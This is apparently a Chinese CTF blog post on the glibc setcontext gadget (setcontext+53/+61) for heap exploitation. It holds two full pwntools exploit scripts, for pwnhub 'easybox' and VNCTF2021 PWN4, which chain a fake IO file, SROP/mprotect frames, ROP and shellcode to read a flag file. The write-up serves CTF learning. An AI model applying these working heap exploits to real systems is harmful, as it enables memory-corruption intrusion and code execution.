setcontext
LOLOLO Lv3

setcontext

一般我们将malloc_hook或者free_hook设置为setcontext+53(2.29以下)或者setcontext+61(2.29及以上)

2.29以上版本setcontext利用rdx,以下利用rdi

利用手段

一般我们都是利用rsp和rcx,可以看到rsp被赋值为rdx+0xa0,而rcx被赋值为rdx+0xa8,并且最后push rcx,最后会执行ret,就会返回执行rcx;这里rip就是rcx,rsp一般都是指向orw链

1
2
3
4
5
6
7
from pwn import *

context.arch = "amd64"
frame = SigreturnFrame()
frame.rsp = 0xaa
frame.rip = 0xbb

libc-2.31下的setcontext

libc-2.27下的setcontext

具体例子

easybox(pwnhub 2022/1/16公开赛)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
# -*- coding: UTF-8 -*-
from errno import ETIMEDOUT
from pwn import *
context(log_level='debug',os='linux',arch='amd64')

p= process('./easybox')
# p=remote('121.40.89.206',41232)
elf=ELF('./easybox')
# libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('./libc-2.31.so')

def cmd(choice):
p.sendlineafter('ch:',str(choice))


def add(idx,size,content):
cmd(1)
p.sendlineafter('index?',str(idx))
p.sendlineafter('size??',str(size))
p.sendlineafter('say something:',content)

def edit(idx,content):
cmd(3)
p.sendlineafter('index?',str(idx))
p.sendlineafter('say something:',content)

def free(idx):
cmd(2)
p.sendlineafter('index?',str(idx))


for i in range(10):
add(i,0x78,'a'*8)

add(16,0x68,'a'*8)
edit(0,p64(0)*15+p64(0x0481))

#get in stdout
free(1)
free(2)
free(3)
add(1,0xf8,'')
add(2,0x80,'\xa0'+'\x56')
add(3,0x78,'yes')
free(2)
add(2,0x78,p64(0xfbad1800)+p64(0x0)*3+'\x00')
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00'))-libc.sym['_IO_2_1_stdin_']
print(hex(libc_base))

# =========[get real addr]===========
malloc_hook = libc_base+libc.sym['__malloc_hook']
malloc_hook_base = malloc_hook & 0xFFFFFFFFF000
setcontext = libc_base+libc.sym['setcontext']
mprotect = libc_base+libc.sym['mprotect']
stdin = libc_base+libc.sym['_IO_2_1_stdin_']
vtable = libc_base+0x1ED560 # _IO_str_jumps


free(6)
free(5)
# gdb.attach(p)
add(5,0x90,p64(0)*13+p64(0x81)+p64(stdin))
# gdb.attach(p)

free(0)
free(16)
add(10,0x78,'a'*8)
add(11,0x78,'a'*8)
add(0,0x78,p64(0xfbad1800)) #get stdin
add(16,0x68,'a'*8)


# =============[fake IO file]===============
# size = 0xe0
fake_io = p64(0xfbad1800) #flag
fake_io += p64(0) #_IO_read_ptr
fake_io += p64(0) #_IO_read_end
fake_io += p64(0) #_IO_read_base
fake_io += p64(0) #_IO_write_base
fake_io += p64(stdin+0xe0) #_IO_write_ptr (setcontext的参数rdx,使其指向 srop_mprotect)
fake_io += p64(0) #_IO_write_end
fake_io += p64(0) #_IO_buf_base
fake_io += p64(0) #_IO_buf_end
fake_io += p64(0) #_IO_save_base
fake_io += p64(0) #_IO_backup_base
fake_io += p64(0) #_IO_save_end
fake_io += p64(0) #_markers
fake_io += p64(0) #_chain
fake_io += p64(0) #_fileno
fake_io += p64(0) #_flags2
fake_io += p64(0) #_old_offset
fake_io += p64(0) #_cur_column
fake_io += p64(0) #_vtable_offset
fake_io += p64(0) #_shortbuf
fake_io += p64(0) #_lock
fake_io += p64(0) #_offset
fake_io += p64(0) #_codecvt
fake_io += p64(0) #_wide_data
fake_io += p64(0) #_freeres_list
fake_io += p64(0) #_freeres_buf
fake_io += p64(0) #__pad5
fake_io += p64(vtable) #vtable -> _IO_str_jumps

srop_mprotect = SigreturnFrame()
srop_mprotect.rsp = malloc_hook + 0x8
srop_mprotect.rdi = malloc_hook_base
srop_mprotect.rsi = 0x1000
srop_mprotect.rdx = 7
srop_mprotect.rip = libc_base + libc.sym['mprotect']

# read shellcode
mpro = '''
xor rdi,rdi
mov rsi,%d
mov rdx,0x1000
xor rax,rax
syscall
jmp rsi
'''%malloc_hook_base

payload = fake_io + str(srop_mprotect) + p64(0)*3 + p64(setcontext + 61) + p64(malloc_hook + 0x10) + asm(mpro)

edit(0,payload)
# gdb.attach(p)
p.sendlineafter('ch:','2')
p.sendlineafter('index?','18')
shellcode = shellcraft.open("./flag.txt")
shellcode += shellcraft.read(3,malloc_hook_base,0x40)
shellcode += shellcraft.write(1,malloc_hook_base,0x40)
p.sendline(asm(shellcode))
p.interactive()
#10-15

VNCTF2021 PWN4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

r = process('./pwn')
context.log_level = "debug"
context.arch = "amd64"
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
r.recvuntil('GIFT: ')
stdout_addr = int(r.recvuntil('\n')[:-1], 16)
print ("stdout_addr: " + hex(stdout_addr))
libc.address = stdout_addr - libc.sym['_IO_2_1_stdout_']
print ("libc_base: " + hex(libc.address))
r.sendafter('You can write a byte anywhere', p64(libc.address + 0x1eb2d0 + 0x7))
r.sendafter('And what?', '\xFF')
# gdb.attach(r,"b *$rebase(0xede)")
r.sendlineafter('Offset:', str(0x880))
r.sendafter('Content:', p64(libc.sym['__free_hook']))
r.sendafter('size:', str(0x1530))
pop_rdi_addr = libc.address + 0x0000000000026b72
pop_rsi_addr = libc.address + 0x0000000000027529
pop_rdx_r12_addr = libc.address + 0x000000000011c371
fake_frame_addr = libc.sym['__free_hook'] + 0x10
frame = SigreturnFrame()

frame.rax = 0
frame.rdi = fake_frame_addr + 0xF8
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = libc.address + 0x0000000000025679 # : ret
rop_data = [
libc.sym['open'],
pop_rdx_r12_addr,
0x100,
0x0,
pop_rdi_addr,
3,
pop_rsi_addr,
fake_frame_addr + 0x200,
libc.sym['read'],
pop_rdi_addr,
fake_frame_addr + 0x200,
libc.sym['puts']
]

gadget = libc.address + 0x0000000000154930 #0x0000000000154b20: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
frame = str(frame).ljust(0xF8, '\x00')
payload = p64(gadget) + p64(fake_frame_addr) + '\x00' * 0x20 + p64(libc.sym['setcontext'] + 61) + \
frame[0x28:] + "flag\x00\x00\x00\x00" + p64(0) + flat(rop_data)

r.sendafter('>>', payload)
r.interactive()

均为libc-2.31版本下的setcontext

参考文章

lifanxin

LOLOLO

  • 本文标题:setcontext
  • 本文作者:LOLOLO
  • 创建时间:2022-03-02 12:30:06
  • 本文链接:https://lololo-pwn.github.io/2022/03/02/setcontext/
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
 评论